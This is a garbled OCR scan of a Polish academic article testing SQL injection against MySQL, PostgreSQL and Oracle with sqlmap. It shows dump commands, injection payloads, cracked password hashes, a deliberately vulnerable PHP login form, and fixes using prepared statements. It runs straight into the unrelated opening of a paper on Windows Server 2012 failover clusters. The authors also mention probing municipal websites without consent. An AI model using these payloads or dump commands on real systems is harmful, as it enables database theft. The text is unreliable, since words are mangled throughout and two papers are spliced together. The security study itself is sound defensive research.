ny, wstawienia nowych czy usucia danych z bazy, nbwos¢é ominiecia me-
chanizméw zabezpieczalych. W przypadkach szczegoélnie niezabezpieczonej
bazy danych, atakagy maze uzyska dostp do wykonywania poledesyste-
mowych z poziomu bazy danych oraz twarzypdczytywa pliki systemowe [2,
3].

W zwigzku z ogromnym zageeniem wynikagcym z tego typu atakow
opracowanych zostato kilka sposobéw zapobieganigzyk$waniu wtasnych
fragmentow zapyta Jednak pomimo pogjych dziatah nie spowodowaly one
wyeliminowania problemu. Wynika to gtdwnie z powoduzej elastyczngci
jezyka SQL. Relacyjne systemy bazodanowe, projektewaroparciu ogzyk
SQL umaliwiaja duze spektrum dziatania dla twércy aplikacji, co jeatazem
zale i wady. Jednym ze sposobow ochrony przed tym atakigimagujce na
sygnaturach systemy IDS/IPS, ktorych zadaniemvigszukiwanie i usuwanie
pakietow skierowanych do bazy danych zawigmgh kod SQL Injection. Wa-
da tego rozwizania jest statyczny charakter sygnatur, gdzie rikabja jedne-
go parametru w przesytanym kodzie, powoduje nierygik ataku [2].

2. Statystyczne ugcie problemu

W 2014 roku, organizacja Trustwave zajgug s¢ wspomaganiem zwal-
czania cyberprzegbczaici szczegllnie w obszarach biznesowych, przeprowa-
dzita badania podat&a aplikacji webowych za pomacTrustwave App Scan-
ner i zidentyfikowata niespetna 18 tysy podatnéci, z czego co najmniej jedn
podatné¢ posiadato a 98 procent przetestowanych stron internetowych: Me
diana ilgci podatngci przeliczana na jednprzetestowaq strore wzrosta w
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stosunku do poprzedniego roku o 43 procent i wyai@® podatnéci. Az 17
procent wykrytych zagten stanowity réne warianty SQL Injection [5].

Zestawienie dziegtiu najpopularniejszych metod ataku na aplikacje we
bowe, réwnie pokazuje pewmnzaleznos¢é. Wszystkie rodzaje atakéw zachowaty
niemal jednakowy udziat w 2014 jak w 2015 roku,omaiast ilgi¢ atakow SQL
Injection wzrosta o okoto 5 punktéw procentowych [1

Atak ukierunkowan
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Malvertising

Kalsyfikacja atakdw

Malicious IFRAME/JS|
DNS Hijacking
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Rys. 1. Najpopularniejsze typy atakéw wg. rapodakmageddon.com
Fig. 1. The most popular attack techniques accgritirhackmageddon.com report

1200+

10004

o]
[=}
T

Wykryte ataki
(2]
3
1

B
o
T

200+

04

1998 2000 2002 2004 2006 2008 2010 2012 2014 2016
Przedziat w latac
Rys. 2. llé¢ wykrytych rodzajéw podatréei na SQL Injection wg. nvd.nist.gov

Fig. 2. The number of detected types of SQL ingettiulnerabilities according to nvd.nist.gov
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Zaskakujce jednak jest toze wzrost ildci odnotowanych atakéw wcale
nie idzie w parze z ikeia odkrytych luk bezpieczstwa wykorzystujcych
technile wstrzykiwania zapytaSQL.

Swiadczyt to maze przede wszystkim o tyrde aplikacje tworzone przez
programistow nadal nieasodpowiednio zabezpieczane przed SQL Injection.
Mimo, ze ilos¢ zgtaszanych podatéa nie jest wielka w stosunku do pozosta-
tych, poniewa stanowi okoto 9% wszystkich wykrytych luk od 198&ku, to
nadal nie mgemy sobie z nimi poradzi

3. Analiza podatnaci systeméw bazodanowych
3.1 Testy lokalne

Ataki typu SQL Injection, a w szczegdkud blind SQL Injection, pochia-
niaja ogromne zasoby czasu, gdyby byly przeprowadzaneuataie. Do tych
celéw powstato narzizie sqlmap. Jest to jedno z najpopularniejszyactacdai
do przeprowadzania atakow SQL Injection na aplikagjvw. Nie jest progra-
mem uniwersalnym gdypotrzebuje specyficznych warunkéw do dziataniez le
w wigkszaci przypadkéw sprawdzagsbardzo dobrze. Do jego dziatania wy-
starczy podad adres strony wraz z zadaniami typu GET
a sqlmap bdzie potrafit przetestowajej podatné¢ wieloma zaimplementowa-
nymi atakami [6].

Wykorzystane bazy danych:

1. MySQL —wersja 5.7

2. PostgreSQL — wersja 9.3.10

3. Oracle SQL - Oracle Database Express Edition 119

Wszystkie trzy powssze systemy zostaty wybrane z powodu ich nggwi
szej popularnéci, zainstalowane zostaty ich najnowsze wersje, talsty pene-
tracyjne byty jak najbardziej wiarygodne oraz zbfie do aktualnych warunkéw
panupcych w Internecie.

Strona internetowa wykorzystana w ataku zostgkésaaa w¢zyku HTML

oraz PHP. Bylfa to prosta aplikacja webowa, na kttmajdowat s panel logo-
wania, spis dogpnych tematéw oraz przyciski do ich rezerwacji.
Aby rozpocaé¢ skanowanie naeglziem sglmap, haky na stronie internetowej,
ktéra chcemy przetestowaznale¢ podatr podstrog, ktéra przekazuje para-
metrami informacje do zapytaktére nastpnie wedrujag do bazy danych. Dla
zainstalowanej tutaj stronydzie to na przykiad link:

localhost/register.php?typ=premiowane&id=1

Wykorzystujc wbudowane naerlzie sqlmap w systemie Kali Linux w linii
polecé wpisujemy:

sqlmap -u "192.168.1.114/register.php?typ=premiowane&id=1"
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Jest to wywotanie programu sqlmap z gpdj, w ktérej podany adres URL
okresla cel ataku. Efektem dziatania tego r@za, bez podanyckadnych do-
datkowych parametrowadkryte podatréei w tej aplikacji webowej oraz pay-
load ktory zostat wystany.

Dla bazy danych MySQL wykryte zostaly ngsijace podatn£ci:

Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: typ=premiowanef&id=1 AND 9593=8593
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: typ=premiowane&id=1 AND (SELECT 4223 FROM(SELECT COUNT(*),CONCAT(0x716d737a71,(SELECT ({CASE WH
EN (4223=4223) THEN 1 ELSE @ END)),0x71737873971,FLOOR(RAND({@)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS G
ROUP BY x)a)
Type: UNION query
Title: MySQL UNION gquery (NULL) - 1 column
Payload: typ=premiowane&id=-7595 UNION ALL SELECT CONCAT(0x716d737a7l,0x6d6e4553647352697a63,0x71737879
T1)#
Type: AND/OR time-based blind
Title: MySQL = 5.0.11 AND time-based blind
Payload: typ=premiowane&id=1 AND SLEEP(5)
[17:38:42] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.12
back-end DBMS: MySQL 5.8
[17:38:42] [INFD] fetched data logged to text files under '/Jusr/share/sqlmap/output/192.168.1.114"

[*] shutting down at 17:38:42

Rys. 3. Zrzut ekranu przedstawia wykryte podé&thpa pomoe narzdzia SQLMAP
Fig. 3. Screenshot shows discovered vulnerabilitas SQLMAP tool

Widaé, ze zostaly odkryte 4 nitiwe rodzaje SQL Injection dozycia
w testowaniu tej bazy. Jest ona podatna, na comejrte cztery ataki. Jest to
atak boolean-based blind na parametrze id za ppdualdejenia tautologii AND
9593=9593; error-based za pormo&ND oraz WHERE i HAVING; UNION
oraz AND/OR time-based blind.

Wyswietlone zostaty rownieinformacje o systemie operacyjnym, na kto-
rym baza jest zainstalowana, wersja serwera wwwa wofersja samej bazy da-
nych. Wszystkie te informacjey svyciggniete za pomog SQL Injection i po-
krywaja sie z rzeczywistécia.

Aby odkry, jakie schematy zostaly utworzone w ¢le tego systemu
bazodanowegoayta zostanie opcja --dbs nafdau polecenia.

sqlmap -u "192.168.1.114/register.php?typ=premiowane&id=1" --dbs
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available databases [6]:
*] baza

*] information_schema
mysqgl
performance_schema

*] phpmyadmin

*] test

Rys. 4.Wykryte schematy baz danych, zainstalowatestewymsrodowisku MySQL
Fig. 4. Discovered database schemas from MySQletestonment

[

[i
[*
[*
[
[*

Nastpnie za pomog opcji --tables oraz -D wskazga, z ktorej bazy
chcemy wywietli¢ tabele, uzyskujemy nagiujacy zrzut.

sqlmap -u "192.168.1.114/register.php?typ=premiowane&id=1" --tables -D
baza

Database: baza
[5 tables]

| |
| java |
| premiowans |
| standardowe |
| users |

Rys. 5. Wykryte tabele w schemacie ,baza”
Fig. 5. Discovered tables from ,baza” schema

Aby wyswietli¢ zawartd¢ tabeli wywamy opcji --dump oraz -T oraz -D aby
doprecyzowé o jaky chodzi tabel i w jakiej bazie.

sqlmap -u "192.168.1.114/register.php?typ=premiowane&id=1" --dump -T
admins -D baza

Database: baza

Table: admins

[3 entries]

i Fom - +
| id | username | password
i Fom - +
| 1 | admin | haslo |
| 2 | user | p@sswlrd

| 3 | test_user | gwertyl23
i Fom - +

Rys. 6. Zrzut zawartei tabeli admins
Fig. 6. Dump of admins table

Sprawdzajc za pomog phpMyAdmin, wid&, ze dane uzyskane atakiem
rzeczywicie sk zgadzag, a sam atak trwa okoto kilku sekund.



Analiza statycznych metod ... 53

Przeprowadzaf testy na trzech #ych systemach bazodanowych dlacpi
réznych typéw ataku za pomgoarzdzia sqlmap, tak prezeniugie wyniki:

Tabela 1. Odkryte podatém w trzech testowanych systemach bazodanowych
Table 1. Discovered vulnerabilities in three testathbase systems

MySQL PostgreSQL Oracle XE' 11.2
Boolean-based blind podatny podatny podatny
Time-based blind podatny podatny odporny
Error-based podatny odporny odporny
UNION query based podatny podatny podatny
Stacked queries odporny podatny odporny

Dla testowanego systemu PostgreSQL dodatkowo maeplzona zostata
proba odgadgtia hasta dla istniegych wytkownikdéw. Hasto aytkownika
userznajdowato s w stowniku zaimplementowanym w nadziu sglmap, dla-
tego nie bylo dla niego problemer® przechowywane hasta gahaszowane
algorytmem MD5. Cal& trwata 10 sekund.

144 [INFO] star
14: [INFO] s
l"”l'- [INFO] crac ] 5
atabase management system users password hashes
*] postgres [1]:
password hash: md5883cb7a79bd5bBldeB9a7a3bcBaZbite
[*] user [1]:
password hash: md577b64b2aeB0b052ed46c1c3d2bB19791
clear-text password: gwerty

res_passwd)

Rys. 7. Zrzut zaszyfrowanych haseytkownikéw systemu bazodanowego PostgreSQL
Fig. 7. Dump of user password hashes from PostdreSQ

3.2 Testysrodowiskowe

Dodatkowo przeprowadzone zostaty drobne, nieinyagztesty, polegage
wytgcznie na dopisaniu znaku apostrofuzddan GET wysylanych przez prze-
gladarki do warstwy logicznej aplikacji web, aby spdar jak sk zachowu
przy wpisywaniu innych warégi niz zgodnie z zamierzeniem programisty.

Testy te pokazalyze na kilkadziegit losowo wybranych stron interneto-
wych jednostek samagdu terytorialnego w Polsce, co najmniej w kilkunast
istniato podejrzenie o niiwosci przeprowadzenia takich atakow ze weziyl na
brak filtrowania wprowadzanych fi@. Konkretne szczegdty, z powodu #ie
wych zagraen, nie mog zosta opublikowane.

Kolejne proby oraz bardziej szczegdtowe testy gdnie byly przeprowa-
dzane gdy testy penetracyjne wykonywane bez wyrg zgody g tamaniem
prawa. Ukazuje to jednake podatné¢ na ataki SQL Injection to nie jest pro-
blem nieistniejcy i, ze zbyt mato 0s6b zdaje sobie z tego sprgakie zagrae-
nia czyhag w sieci i jak prostessto do przeprowadzenia ataki.
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4. Mechanizmy obrony

Jak mana zauway¢ po przeprowadzonych testach, nieodpowiednio napi-
sane aplikacje wykorzystige dynamiczne budowanie zapyfigzyka SQL sta-
nowiag powane zagraenie dla znajdacych sé w bazie poufnych danych. Jedn
Z bezpieczniejszych alternatyw do dynamicznego ivadia zapyta, jaka maz-
na zastosowas interfejsy API, ktére pozwalajna dodawanie parametrow
zapyta, jako binded variablesW jezyku polskim funkcja ta zostata nazwana
bindowaniem zmiennych, co jest niezbyt adekwatremidj oddajce charakter
tej funkcji jest stowgpodpinanie Uzywajac tak zwanych zapyhaparametryzo-
wanych, zabezpieczamyegsprzed SQL Injection, poniewgoodpinanie polega
wlasciwie na przeniesieniug¢ézenia danych z przygotowanym zapytaniem z
warstwy logicznej na system bazodanowy. Do bazyytaysy tak naprawg
szkielet zapytania ze specjalnie ckoaymi polami, do ktoérych piniej wsta-
wiane @ dane, przestane za pomospecjalnej metody, gdzie memy dodat-
kowo okréli¢ ich typ.

Przyktadem formularza logowania podatnego na Section mae by
nastpujacy kod:
$login=$_POST[ 'uname'];
$password=$_POST[ 'password'];

$sql="SELECT * FROM users WHERE username='$login' and
password="'$password'";

$result=mysqli_query($link, $sql);
$count=mysqli_num_rows($result);

if($count).. /*Logowanie udane*/

Jzyk PHP posiada kilka frameworkow, ktére marpst@ uzyte do bez-
piecznego gczenia s} z baz danych za pomacparametryzowanych zapyita
Sa to miedzy innymi PHP Data Objects (PDO) oraz pakiet dedydny bazie
MySQL - mysqli.

Pakiet mysqli, dogpny od wersji 5.xgzyka PHP umdiwia tgczenie sj
Z baz MySQL w wersji, co najmniej 4.1. Jest jednym zazejciej wykorzy-
stywanych interfejsow do pgizer z MySQL i obstugujedczenie zmiennych za
pomog znaku zagpczego ‘?’-pytajnika.

Przyktadowe zabezpieczenie formularza logowaniaonggstupc to API:

$sql="SELECT username FROM admins WHERE username=? and password=?";
$stm=$1link->prepare($sql);

$stm->bind_param("ss",$login,$password);

$stm->execute();

$stm->store_result();

$stm -> fetch();

$count=$stm->num_rows;

if($count) .. /*Logowanie udane*/
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PHP Data Objects to howoczesny interfejs zaproyje&ny dla ¢zyka PHP
od wersji 5.1, stigecy do komunikacji z bazami danych. Jego nelsiy zaleg
jest uniwersalng@. Jest oparty na sterownikach do poszczegoélnychdbaygch,

Z ktorych kady udosgpnia podstawowe metody do obstugi swojej bazy, iden
tyczne z pozostatymi, oraz dodaje wlasne, szczegdletody do obstugi dodat-
kowych funkcjonalnéci konkretnego systemu bazodanowego.

Przyktadowe wykorzystanie:

$stmt = $db->prepare('SELECT * FROM users WHERE username=? and
password=?");

$stmt->bindvalue(1l, $_POST['uname'], PDO::PARAM_STR);
$stmt->bindvalue(2, $_POST['password'], PDO::PARAM_STR);
$stmt->execute();

$userRow=$stmt->fetch(PDO: : FETCH_ASSOC);

if($userRow) .. /*Logowanie udane*/

Powyzszy kod, z racji,ze jest wieloplatformowy, przetestowany zostat
oprécz systemu bazodanowego MySQL rowme PostgreSQL oraz Oracle
Database XE 11.2.

Testy podatn€ri za pomog narzdzia sqlmap potwierdzgjze zabezpieczenie
zostato wykonane poprawnie, poniesweaawet na najwiszym poziomie testow,
po wystaniu okoto 31 tyscy réznych payloadowzadne maliwe podatndci nie
zostaly odnalezione nadnym z trzech badanych systeméw.

5. Whnioski

Na podstawie przeprowadzonych testow penetraclyjmgctrzech rinych
systemach bazodanowych ma wyciagna¢ wniosek,ze niezaleénie od uytego
systemu, jéli nie jest on poprawnie skonfigurowany, przechowyw dane as
powaznie naraone na ataki.

W kwestii bezpieczestwa nie bylo diej raznicy pomidzy wszystkimi
trzema systemami bazodanowymi. Na&j@@] podatnéci na ataki zostato wykry-
tych przy skanowaniu PostgreSQL za pomsglmap, natomiast to czy tych
zagraen jest dziesj¢ czy jedno, nie ma najmniejszego znaczenia. Sqltakp
czy inaczej bdzie potrafit wydoby wszystkie informacje z bazy danych. Nato-
miast, jéli chodzi o manualne ataki to w tej kwestii najggrgest MySQL. Ze
wzgledu na swqj popularné¢ w Internecie istnieje mnéstwo artykutéw traktu-
jacych o tym jak zaatakowaMySQL za pomog SQL Injection. W técie prze-
prowadzonym za pomacsglmap, najmniej podatéa wykrytych zostato przy
Oracle Database, co jednak nie powinno dzigdyz jest to komercyjne rozwi
zanie. Mimo,ze wersja XE to wersja darmowa to ha pewno posiadavaele
rozwigzan stosowanych w wersjach wgzych, lecz z ograniczonymi funkcjami.

Przeprowadzenie identycznych atakow po zabezpéaczeaz zgodnie z
zaleceniami pokazalae darmowe rozvgzania wcale nie odstgj réwniez po-
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trafig by¢ bezpieczne, lecz jak zwykle, przy obecnym goisttechnologicznym
to cztowiek byt najstabszym ogniwem i to jego niedza mogta skutkowa
wystawieniem systemu bazodanowego na bezproblemataki. Wystarczy
nawet odpowiednio napisana strona internetowa, kovzystaniem biblioteki
PDO oraz prepared statements i od razu otrzymujedegcydowag poprave
bezpieczéstwa. Pamita¢ nalery jednak,ze zadne rozwgzanie nie jest w 100%
bezpieczne.
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KLASTRY PRACY AWARYJINEJW SRODOWISKU
MICROSOFT WINDOWS SERVER 2012

W artykule poruszono temat klastrow pracy awaryjuejrodowisku Mi-
crosoft Windows Server 2012. Klastry tego typu tgéaw oparciu o tzw.
elementy quorum (kworum). W Windows Server elementgiorum mo-
ze zosta wezel, dysk swiadek” lub plik wspétdzielony swiadek”.
Gléwnym celem artykutu jest poréwnanie czaséw nighmasci ustug
swiadczonych przez wymienione modele klastrow, wypedku awarii
elementow klastrawiadczcych wybrane ustugi. Analizie poddano archi-
tektury: Node Majority (elementy kworum w postaciaddw klastra), No-
de and Disk Majority (elementy kworum w postagiziéw klastra oraz
dysku ,$wiadka”), Node and File Share Majority (elementyokum w po-
staci wztdw klastra oraz wspotdzielonego zasobu) oraz Najokity:
Disk Only (element kworum w postaci dyskiwjadka”).

Stowa kluczowe failover, HA, wysoka dogpnas¢, serwer, klaster

1. Wprowadzenie

Klastry pracy awaryjnej, zwane tak klastrami wysokiej dogbnasci (ang.
High-Availability Clusters — HA) to grupa serwerd@wacupcych razem, utwo-
rzona w celu zapewnienia wysokiej dgstasci oraz udosfpnianych przez ni
aplikacji i ustlug, widziana przez wdzenia klienckie jako jeden system.
W sytuacji gdy poszczegélnyezet (serwer) klastra ulega awarii, jego rola zo-
staje przejta przez inny serwer pragaly w klastrze. Proces ten nazwany zostat

1 Autor do korespondenciji: Dariusz Kowalski, Politeita Rzeszowska, darkowal-
ski@windowslive.com

2 pawet Dymora, Politechnika Rzeszowska, Katedra Emdegtroniki, Elektroenergetyki i Sys-
temow Ztazonych, pawel.dymora@prz.edu.pl

3 Mirostaw Mazurek, Politechnika Rzeszowska, KatednarBoelektroniki, Elektroenergetyki i
Systemow Ztaonych, miroslaw.mazurek@prz.edu.pl
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trybem failover. Celem takiego dziatania jestagsiecie jak najkrétszych cza-
sOw przestojow (czasow niedgshasci poszczegolnej aplikacjiablz ustugi).

Ustuga klastra pracy awaryjnej dgsha jest w systemach z rodziny Win-
dows Server pogavszy od wersji 2000. W Windows Server 2012 ushagkan-
figurowana jest jako funkcja i umlwia utworzenie wysoko dogbnego maga-
zynu danych wykorzystywanego np. przez maszynyuaine Hyper-V. Umg-
liwia utrzymanie szeregu aplikacji i ustug krytygzh przedsibiorstwa, takich
jak m.in. serwer bazy danych, serwer poczty, semmgiruku, serwer plikow,
serwer DHCP itd. WS 2012R2 usiovia utworzenie klastra skladgjego st
maksymalnie z 64 gztéw lub 8000 maszyn wirtualnych (w WS 2008R2 z 16
weztow lub 1000 maszyn wirtualnych) i ta waitgest wspdlna dla wszystkich
wersji WS 2012R2 oraz WS 2012 (Standard, Datacenter

2. Klastry pracy awaryjnej w srodowisku MS Windows
Server 2012

Aby klaster pracy awaryjnej pracowat poprawnie wgaragym jest ogk
gniccie nastpujacych zataen:

- Poszczegolne gely klastra musz spetnig wymagania stawiane przez
system operacyjny Windows Server 2012. Zalecarteirjggalowanie identycz-
nej konfiguracji spratowej w kadym z wezidw. Architektury procesoréw po-
szczegOlnych wztéw klastra musz by¢ ze sob zgodne tzn.,z nie mana k-
czy¢ ze sob weztow pracugcych pod architektyrAMD z weztami pracugcymi
pod architektuy Intel,

- Poszczegolne gety klastra musz pracowa pod & samy wersp systemu
operacyjnego Windows (nie rama np. 4czy¢ w klaster wztéw pracujcych
pod kontroy WS 2012R2 Standard oraz WS 2012R2 Datacentergcdaym
jest rownie, aby wezly te posiadaly zainstalowane podobne wersje adthieah;

- W przypadku, gdy rozwranie wykorzystuje magazyn udgstiony (wo-
lumin CSV), musi on by podihczony do wztéw tego klastra. Woluminy CSV
(ang. Cluster Shared Volumes) utiwiajg poszczegolnym gziom Kklastra
jednoczesny dogb (zapis i odczyt) do jednostki dyskowej LUN (ahggical
Unit Number), obstugiwanej w WS 2012R2 jako woluifiFS lub ReFS;

- Do pohczer weztdw klastra z magazynem danych ima wykorzysté
nastpujace interfejsy: Internet SCSI (iISCSI), SAS (angi@eittached SCSI),
FC (ang. Fibre Channel), FCoE (ang. Fibre Channet lternet). J8i do po-
taczen z magazynem wykorzystano iSCSlzég z wezldw powinien posiada
co najmniej jeden interfejs wykorzystywany do temdu. Taki interfejs nie po-
winien przenosi innego ruchu sieciowegomien zwizany z magazynem da-
nych. Dla lepszej wydajdoi, zalecanym jest wykorzystywanie przynajmniej 2
interfejséw GigE. W przypadku wykorzystywania kilkelaczen do magazynu
danych, nalegy pameta¢ o wiagczeniu Multipathingu 10;
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- Kazdy z weztbw powinien mi€ zainstalowane identyczne karty sieciowe
(obstugujce ten sam protokot IP, talksamy predkose, transmis duplex oraz
umazliwiajgce tak samy kontrok przeptywéw);

- Zaleca s, aby kady wezel klastra posiadat przynajmniej 3 interfejsy sie-
ciowe: jeden dla patzenia z magazynem danych, jeden dagh z innymi
weztami klastra oraz jeden do pokei z zewrtrzng siech;

- Kazdy z serwerow klastra musi ygztonkiem tej samej domeny Active
Directory oraz powinien wykorzystywden sam serwer DNS;

- Poszczegllne pgdzenia sieciowe porilzy weztami klastra powinny by
redundantne — w celu minimalizacji skutkéw awaaingich 4cz;

- Caldsciowa konfiguracja ustawe klastra (konfiguracja eztow, sieci
i magazynu) musi prz&j pozytywnie wszystkie testy przeprowadzone w ,Krea-
torze weryfikacji konfiguracji”.

Klastry pracy awaryjnej w systemach z rodziny MShddws Server dzia-
taja w oparciu o tzw. elementy quorum. Quorum w Kladirpracy awaryjnej
rozumiany jest jako minimalny zbiér elementow ktastktore musz pozosta-
wat aktywne, aby klaster mogt dzigtaDzigki niemu poszczegdéine emty kla-
stra mog za pomog jednego zapytania sprawdzizy klaster mge kontynuo-
waé swop prag. W Windows Server 2012 elementem quorunzenaosta
wezet, dysk $wiadek” lub plik wspotdzielony swiadek”. Kazdy element pet-
nigcy funkci quorum (za wyjtkiem wspétdzielonego plikuswiadka”) prze-
chowuje kopie konfiguracji klastra. Kopie konfigajiaklastra, przechowywane
na kilku elementach quorumy $1a bigaco synchronizowane przez dziala
ustug: klastra. Koniecznit stosowania elementéw quorum ukazujeveiprzy-
padku problemow z komunikacjmiedzy weztami klastra. Cgs¢ weztdw maze
komunikow& si¢ miedzy sola poprzez funkcjonuaga czs¢ sieci, jednoczaie
nie kedgc w stanie komunikowasie z weztami pracujcymi w drugiej odebnej
czesci. Fakt ten prowadzi do sytuacji, w ktoregé& weztdw musi przestapra-
cow& jako wezly klastra. Aby unika¢ problemow pojawiacych sé podczas
podzielenia klastra, oprogramowanie wymaga od patweh czsci klastra, aby
wykorzystywaty algorytm gtosowania (ang. votingaighm), w celu okréenia
w danym czasie czy posiadajostp do quorum. Poniewadany klaster posiada
specyficzny zestaw ¢ztow oraz specyficznkonfiguracg quorum, klaster taki
wie ile weztéw nadal ,gtosuje” (kontynuuje swpprae). Jali liczba ta spadnie
ponizej wiekszaici, klaster przestaje dziagtaWezty nadal nastuchgjobecndci
pozostatych wztéw, w przypadku, gdy te pojaavsic ponownie w sieci, jednak
klaster nie odbuduje sponownie dopoki warunki quorum nie zostapetnione.
Przyktadowo jéli klaster w konfiguracji Node Majority skladaest 5 weztow i
wezty 1, 2, 3 nie bda mogty st skomunikowa z weztami 4, 5 to w takiej sytuaciji
wezty 4 oraz 5 jako mniejs£6é przestag dziata w klastrze. Dalej jdi wezet 3
réwniez straci komunikacje z gztami 1 oraz 2 to pozostataesz (wezty 1, 2)
bedzie stanowi mniejszd¢ i caly klaster przestanie dzialaw takiej sytuacii
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wszystkie wzly przestan dziat& w klastrze, jednakdulg oczekiwad na wzno-
wienie komunikacji i w sytuacji, gdy sieponownie zacznie pracowaklaster
moze st odbudowa i zaca¢ pracowa od nowa.

W systemach z rodziny MS Windows Server 2012 igilemodele klastra
wykorzystupce quorum:

- Node Majority— w modelu tym klaster pracuje do momentu, gdybléc
uszkodzonych wztow jest mniejsza nidziatapcych. Przyktadowo, jdi klaster
sktada st z 5 weztdw, trzy z nich musgpozostawé aktywne aby klaster dziatat
prawidtowo. W sytuacji, gdy wcej niz dwa wezly ulegry uszkodzeniu, caty
klaster przestanie pracoda

- Node and Disk Majority- model wykorzystucy tzw. dysk Quorum (dysk
»Swiadek”). W konfiguraciji tej liczba pracgych weztéw nie mae by mniej-
sza nk dwa. Model ten zalecany jest w sytuacjach, gdaeystkie vezty kla-
stra mog korzyst& z tych samych zasobow (np. z tej samej macierskaty
wej). Klaster pracuje prawidtowo, dopokiekszas¢ elementéw quorum (w tym
serwery oraz dysk wspotdzielony) pozostaje aktywne.

- Node and File Share Majority model bazucy na modelu Node and
Disk Majority. Od poprzednika odzdia go sposob zapisu quorum — zamiast
dysku ,swiadka” wykorzystywany jest udziat sieciowy, na i zostaje ono
zapisane. Do zalet modelu naleto, iz pracuje podobnie jak model Node and
Disk Majority. Konfiguracja ta zalecana jest w gitsy mierze dla rozproszo-
nych geograficznie klastrow.

- No Majority: Disk Only— model rzadko wykorzystywany, zaprojektowa-
ny gtbwnie w celu przeprowadzenia testow aplikagjirocesow w Windows
Server 2012. Klaster zbudowany w oparciu o ten mdd&ta do momentu,
w ktorym dos¢p do dysku quorum ulegnie awarii. Nie ma tutaj ogrzenia
dotyczcego liczby pozostatych aktywnychemow. Konfiguracja tego typu nie
jest zalecana wrodowisku produkcyjnym.

3. Model klastra Failover

W artykule przetestowano dziatanie 4 @pstych modeli klastra pracy awa-
ryijnej w MS Windows Server 2012. Wszystkie testyegaty na sprawdzaniu
dostpndsci wezta (polecenienpi ng) o adresie IP przypisanym do uruchomio-
nej ustugi klastra (serwera DHCP), a gpsie zasymulowaniu awarii ¢zta
klastra odpowiedzialnego w danej chwili za ugpstanie tefe ustugi. Dla ta-
kiego scenariusza dokonano pomiaréw czasu nigalogici ustugi. Ponadto dla
kazdego z badanych modeli klastréw wykonanych zostataajmniej 10 symu-
lacji awarii.
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Na Rys. 1 przedstawiono schemat testowanej korsigurSerwerl jest
kontrolerem domeny failover.local. Udgghia on poprzez oprogramowanie
iISCSI Target Server magazyn danych dla serweréwe3gr Serwer3 oraz Ser-
wer4d. Serwery Serwer2, Serwer3 oraz Serwerdeywerami cztonkowskimi
domeny failover.local. Poprzez oprogramowanie iSQ@tiator korzystay
z udosgpnionego na Serwerl magazynu danych. Na serwerache&, Ser-
wer3 oraz Serwer4 zostata uruchomiona rola klgstaay awaryjnej, ktéra na-
stepnie poprzez wybranustug tego klastra (DHCP) zostala przetestowana.
Sietl to si€ wykorzystywana do komunikacji z magazynem danyéi2 to
sie¢ wykorzystywana do komunikacji pogaizy weztami klastra (tzw. Heartbe-
at), natomiast st8 to si€ wykorzystywana do komunikacji z zewtreng siech.
Wszystkie serwery przedstawione w artykule dziapmd kontrod systemu MS
Windows Server 2012R2 Datacenter.

LAN
( D
Serverl
S 2012R2
Server2 Kontroler domeny: failover.local Server3
WS 2012R2 Magazyn danych: iSCSI Target Server WS 2012R2
No Adres IP sie¢ 1: 10.0.0.10/24 S
N Adres IP siec 2: 172.16.0.10/24 N
X Adres IP sie¢ 3: 192.168.0.10/24 X
Cztonek domeny: failover.local Cztonek domeny: failover.local
Dostep do magazynu danych: iSCSI Initiator Serverd Dostep do magazynu danych: iSCSI Initiator
Adres IPsie¢ 1: 10.0.0.20/24 Adres IP sie¢ 1: 10.0.0.30/24
Adres IP sie¢ 2: 172.16.0.20/24 WS 2012R2 Adres IP sie¢ 2: 172.16.0.30/24
Adres IP sie¢ 3: 192.168.0.20/24 Adres IP sie¢ 3: 192.168.0.30/24

Cztonek domeny: failover.local

Dostep do magazynu danych: iSCSI Initiator
Adres IP sie¢ 1: 10.0.0.40/24

Adres IP sie¢ 2: 172.16.0.40/24

Adres IP sie¢ 3: 192.168.0.40/24

Rys. 1. Schemat testowanej sieci
Fig. 1. Diagram of tested network

4. Analiza niedosepnosci ustug badanych modeli klastra

W niniejszym rozdziale zaprezentowano aralczasow niedogpncici
ustug dla analizowanych modeli klastra pracy awwajyjDla wszystkich bada-
nych przypadkéw wyznaczono mediany czasow niegostci ustug klastra
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(Rys. 2), minimalny czas niedgphasci ustugi (Rys. 3), maksymalny czas nie-
dostpndsci ustug klastra (Rys. 4) orgredniej niedospnasci ustug klastra dla
wszystkich badanych przypadkéw (Rys. 5).

Mediany czaséw niedostepnosci ustugi
25,000

19,777 19,595 19,554 19,755
20,000
15,491

15,000
9,836 9,876
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Node and DiskNode and DiskNode Majority Node and File Node and File Disk Only (2

Czas [s]

Disk Only (3
Majority (2 Majority (3 (3 serwery Share (2 Share (3 serwery serwery
serwery serwery failover) serwery serwery failover) failover)
failover) failover) failover) failover)

Model klastra failover

Rys. 2. Mediana czaséw niedgshaici ustug klastra
Fig. 2. The median duration of unavailability of\gees cluster

Rys. 3 prezentuje minimalny czas niedpsiici ustug klastra dla wszyst-
kich badanych przypadkow zrealizowany &pad okr&lonej liczby préb.

Minimalne czasy niedostepnosci ustugi

19,597 19,518
20,000

. 15,000 |

"
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N 10,000 - 8,500

o
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0,000 - ; ‘ ‘ ‘ :

Node and Disk Node and Disk Node Majority Node and File Node and File Disk Only (2

Disk Only (3
Majority (2 Majority (3 (3 serwery Share (2 Share (3 serwery serwery
serwery serwery failover) serwery serwery failover) failover)
failover) failover) failover) failover)

Model klastra failover

Rys. 3. Minimalny czas niede@gindsci ustug klastra
Fig. 3. The minimum duration of unavailability arsices cluster
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Na Rys. 4 przedstawiono histogram maksymalnych asigpnacsci ustug
klastra dla wszystkich badanych przypadkow.

Maksymalne czasy niedostepnosci ustugi

19,995 19,919 19,943 19,904 19,893

15,876 1401
© 15
)]
N
8 10+
5 -
0 - ‘ . ‘ ‘ ‘ ‘

Node and Disk Node and Disk Node Majority Node and File Node and File Disk Only (2 Disk Only (3
Majority (2 Majority (3 (3 serwery Share (2 Share (3 serwery serwery
serwery serwery failover) serwery serwery failover) failover)
failover) failover) failover) failover)

Model klastra failover

Rys. 4. Maksymalne czasy niedgstasci ustug klastra
Fig. 4. The maximum duration of unavailability @frgices cluster

Na Rys. 5 przedstawiono histogramedniej niedosfpnasci ustug klastra
dla wszystkich badanych przypadkow.

Srednie czaséw niedostepnosci ustugi
25,000

19,773 19,752
